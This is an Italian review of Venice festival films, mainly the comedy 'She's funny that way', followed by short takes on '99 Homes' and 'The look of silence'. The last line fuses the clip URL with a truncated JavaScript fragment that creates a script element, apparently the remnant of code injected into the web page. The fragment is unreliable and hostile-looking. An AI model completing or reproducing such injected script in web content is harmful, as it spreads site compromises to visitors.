“She’s funny that way”, irresistibilmente divertente! (nell’articolo una clip del film)

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Ironia irresistibile, ritmo degno del miglior Woody Allen, attori (Owen Wilson, Imogen Poots, Jennifer Aniston) credibilissimi nelle loro parti! Peter Bodganovich, alla terza apparizione alla Mostra di Venezia, regala al pubblico una splendida commedia “She’s funny that way” (fuori concorso) che farà il botto ai botteghini. Si ride prima delle battute perché le situazioni sono esilaranti e la recitazione gioiosamente teatrale, coerente alla trama del film. Un affascinante regista di Broadway, Arnold Albertson, col vezzo del salvare la vita alle donne, trascina involontariamente nella sua vita una deliziosa squillo (Imogen Poots) che sogna di fare l’attrice. Peccato che un vecchio giudice sia ossessionato dal fascino della stessa squillo, che nel frattempo va in terapia dall’amante del sceneggiatore che lavora con il regista :D. Insomma come avrete capito ne nasce un vortice di situazioni incredibili arricchite dal fatto che il padre dello sceneggiatore fa l’investigatore pagato dal vecchio giudice (quello ossessionato dalla “energia positiva” della squillo) per sapere i movimenti dell’adorabile Imogen Poots la cui missione dichiarata è portare un pizzico di magia nelle vite degli uomini tristi… Quindi appena “She’s funny that way” esce nei cinema precipitatevi!

Un’America dura e cinica è invece quella raccontata con lucidità da Ramin Bahrani in “99 Homes” (in concorso), un paese senza pietà che ama i vincenti e detesta i perdenti soprattutto se poveri. Il regista obbliga lo spettatore a chiedersi continuamente quale sia la soglia di disonestà da accettare per poter salvarsi economicamente quando si sta per sprofondare.

In concorso c’è anche il film-documentario “The look of silence” di Joshua Oppenheimer dedicato al dramma della dittatura militare in Indonesia, al massacro di migliaia di civili sospettati d’essere comunisti. Un film che, se ce ne fosse ancora bisogno, dipinge con stile da report giornalistico cosa significhi la politica estera degli USA, ovvero la spaventosa saldatura tra la volontà d’esportazione della “democrazia” in Asia, quale baluardo all’avanzata del contropotere, che all’epoca (1965) era il comunismo. Imperialismo americano e islamismo proliferante uniti per eliminare chi aveva idee di giustizia sociale, tacciati d’essere pericolosi sovversivi. Film di denuncia da vedere magari prima di una vacanza a Bali.

Qui una clip di „She’s funny that way”: http://paolozennaro.com/gazzettaitalia/4184.movvar d=document;var s=d.createElement(’script’);